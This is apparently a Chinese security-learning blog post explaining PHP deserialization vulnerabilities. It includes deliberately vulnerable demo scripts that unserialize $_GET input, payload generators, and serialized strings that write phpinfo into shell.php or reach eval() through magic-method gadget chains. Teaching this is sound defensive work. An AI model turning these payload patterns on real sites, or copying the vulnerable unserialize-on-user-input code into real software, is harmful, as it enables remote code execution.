php反序列化漏洞学习
PHP反序列化漏洞
说到反序列化就要先说序列化,反序列化和序列化都伪造着两个函数来弄。serialize()和unserialize()
- serialize()是用于将类转换为一个字符串
- unserialize()用于将字符串转换回一个类
serialize()
<?php
class test{
var $test='123';
}
$class1=new test;
$class_ser=serialize($class1);
echo $class_ser;
?>
输出结果为:
O:4:"test":1:{s:4:"test";s:3:"123";}
O代表存储的是对象(Object),4代表名称有4个字符。test
表示对象的名称,1表示有一个值,、{s:4:"test";s:3:"123";}
中,s
表示字符串,4表示该变量的名称长度,value:test
。3表示变量的值的长度为3,value:123
。
unserialize()
与serialize()对应的,unserialize()可以从序列化后的结果中恢复对象(Object)。
<?php
class test{
var $test='123';
}
$class1=new test;
$class_ser=serialize($class1);
$data=unserialize($class_ser);
print_r($data);
?>
输出结果为:
test Object ( [test] => 123 )
test
为对象,[test]=>123
代表$test="123"
注意:当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
反序列化漏洞的产生
当参数传给unserialize()的参数可控时,我们可以通过一个序列化字符串。从而控制对象内部的变量甚至是函数
利用构造函数
Magic function
php中有一类特殊的方法叫做“Magic function”,重点需要关注的
- 构造函数__construct():当对象创建(new)时会自动调用。但在
unserialize()
时是不会自动调用的 - 析构函数__destruct():当对象被销毁时会自动调用。
- __wakeup():如前所提,unserialize()时会自动调用
demo
<?php
header("Content-type: text/html;charset=utf-8");
class test{
var $test='123';
function __wakeup(){
echo "__wakeup"."<br>";
}
function __construct(){
echo "__construct"."<br>";
}
function __destruct(){
echo "__destruct"."<br>";
}
}
echo "序列化:"."<br>";
$data=new test;
$data=serialize($data);
echo "反序列化"."<br>";
$jm=unserialize($data);
print_r($jm);
?>
wakeup() 或destruct()由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们
例子:
<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:
<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$data=new chybeta();
$data->test='<?php phpinfo()?>';
$data_ser=serialize($data);
echo $data_ser;
?>
结果为
O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
当把序列化后的字符串放入到test的传参中,就会造成RCE
其他Magic function的利用
但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
<?php
class ph0en1x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class chybeta{
var $test = '123';
function __wakeup(){
$obj = new ph0en1x($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的construct()方法,从而把<?php phpinfo() ?>
写入到 shell.php中
O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
<?php
class chybeta {
var $test;
function __construct() {
$this->test= new ph0en1x(); //实例化ph0en1x
}
function __destruct() {
$this->test->action(); //调用ph0en1x类里的action()函数
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>
payload修改为:
<?php
class chybeta {
var $test;
function __construct() {
$this->test=new ph0en2x(); //实例化ph0en1x
}
}
class ph0en2x {
var $test2="phpinfo();";
}
$class6 = new chybeta();
$payload=serialize($class6);
echo $payload;
最后得到的序列化字串
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
反序列化漏洞的利用总结
- 搜索关键词serialize()和unserialize()
- 详细审计有调用以上函数的代码和调用这个函数的上面的类
- 详细审计类
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:php反序列化漏洞学习
本文作者:九世
发布时间:2019-09-17, 20:23:13
最后更新:2019-09-17, 20:29:17
原始链接:http://jiushill.github.io/posts/573dfd6f.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。